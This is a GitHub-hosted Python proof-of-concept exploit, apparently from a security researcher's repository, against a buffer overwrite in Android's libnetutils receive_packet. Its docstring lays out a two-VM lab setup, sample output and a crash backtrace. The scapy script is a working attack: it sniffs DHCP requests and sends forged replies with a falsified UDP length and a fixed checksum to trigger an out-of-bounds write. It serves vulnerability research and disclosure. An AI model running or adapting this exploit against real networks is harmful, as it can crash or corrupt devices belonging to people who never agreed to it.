forked from tintinweb/pub
-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
171 lines (137 loc) · 5.78 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
'''
[target]
android.platform.system.core.libnetutils :: packet.c :: receive_packet buffer overwrite
[ref]
https://android.googlesource.com/platform/system/core/+/master/libnetutils/
[The Plot]
[vm-A - attacker][eth1]---------------DHCP--------------[eth1][vm-B - victim]
* vm-A - the attacker:
** both machines must be on the same network segment (DHCP)
** ubuntu linux; vmware may require to allow promisc. mode in vm netif settings
1) install python2.x
2) install scapy - `pip install scapy` or `apt|yum install python-scapy`
3) run `poc.py <interface>`
The script sniffs for DHCP packets and answers with forged DHCP responses in an attempt to cause a buffer overwrite
in libnetutils.
* vm-B - the target:
1) checkout `buildme.sh`, `fixup.h` and `sniffer.c`
2) run `buildme.sh`
2.1) the script will download and untar libnetutils from the official repository to the current directory
2.2) and builds `sniffer.c` as `sniffer_poc`
#> gcc -DVERBOSE -o sniff_poc sniffer.c packet.c dhcpmsg.c -lrt
3) check if the build succeeds and execute `sudo ./sniffer_poc <interface>`
`sniffer.c` is a simple raw socket packet sniffer that takes incoming UDP datagrams, wraps them as IO-objects and
feeds them into the vulnerable method `packet.c:receive_packet` of `libnetutils`. This method lacks a check for
the UDP packet size which allows to cause an out-of-bounds buffer write condition. The target buffer's location is
up to the implementer and is being passed to `receive_packet`.
4) vm-B likely already received an IP via DHCP and therefore may not re-request unless the lease expires. Since vm-A
(the attacker) only sends out crafted DHCP responses for matching DHCP requests we will have to request a lease
renewal (or new lease) by issuing `#> dhclient <interface>` (or your favorite dhcpc software). Rebooting and waiting
for your device to renew/refresh the lease would be another option ;)
5) `sniffer_poc` detects the UDP datagram, feeds it into `libnetutils` and crashes with a SIGSEGV
[output]
poc.py
[+] building malformed reply ...
[i] --> received vendor_class = None
[i] --> new checksum = f5fa
###[ Ethernet ]###
dst = 00:0c:29:dc:bb:31
src = 00:0c:29:5a:a5:9b
type = 0x800
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 192.168.2.116
dst = 0.0.0.0
\options \
###[ UDP ]###
sport = bootps
dport = bootpc
len = 9000 //#! even though the packet is only 28 bytes we hint 9000
chksum = 0xf5fa //#! and we fix the checksum
[+] sending malformed reply ...
.
Sent 1 packets.
sniff_poc
[+] got UDP - 28 bytes
[+] wrap read data with shm_open() to create an fd that cann be passed to receive_packet(fd, &dhcp_msg)
[+] calling receive_packet
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
483 ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
#1 0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
#2 0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
#3 0x08048a57 in main () at sniffer.c:63
'''
import sys
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, checksum, conf, sendp, sniff
def get_udp_checksum(p):
dummy = p[IP].copy()
dummy[IP].version = 0
dummy[IP].ihl = 0
dummy[IP].tos = 0
dummy[IP].len = p[UDP].len
dummy[IP].id = 0
dummy[IP].ttl = 0
dummy[IP].frag = 0
dummy[IP].chksum = 0x0
dummy[UDP].chksum = 0x0
chksum = checksum(str(dummy))
print "[i] --> new checksum = %x" % chksum
return chksum
def build_dhcp(pdiscover):
req_addr = None
server_id = None
vendor_class = None
try:
for m in pdiscover[DHCP].options:
n, v = m
if n == "requested_addr":
req_addr = v
elif n == "server_id":
server_id = v
elif n == "vendor_class_id":
vendor_class = v
except:
pass
print "[i] --> received vendor_class = %s" % vendor_class
e_dst = pdiscover[Ether].src
p = Ether(dst=e_dst) / IP(src=server_id, dst=req_addr or "0.0.0.0") / UDP(sport=67, dport=68, len=9000)
p[UDP].chksum = get_udp_checksum(p)
return p
def detect_dhcp(p):
print "[i] --> packet matched bpf"
if BOOTP not in p or p[UDP].sport != 68 or p[UDP].dport != 67:
print "[!] --> skipping unexpected packet"
#p.show()
return
print "[i] got DHCP request"
p.show()
print "[+] building malformed reply ..."
reply = build_dhcp(p)
reply.show()
print "[+] sending malformed reply ..."
sendp(reply, iface=conf.iface, verbose=True)
def main():
if len(sys.argv)>1:
conf.iface=sys.argv[1]
bpf = "udp and (port 67 or port 68)"
print "[i] conf.iface = %s" % conf.iface
print "[i] filter = %s" % bpf
print "[i] ready! ..."
sniff(filter=bpf, prn=detect_dhcp, store=0, iface=conf.iface)
if __name__=="__main__":
main()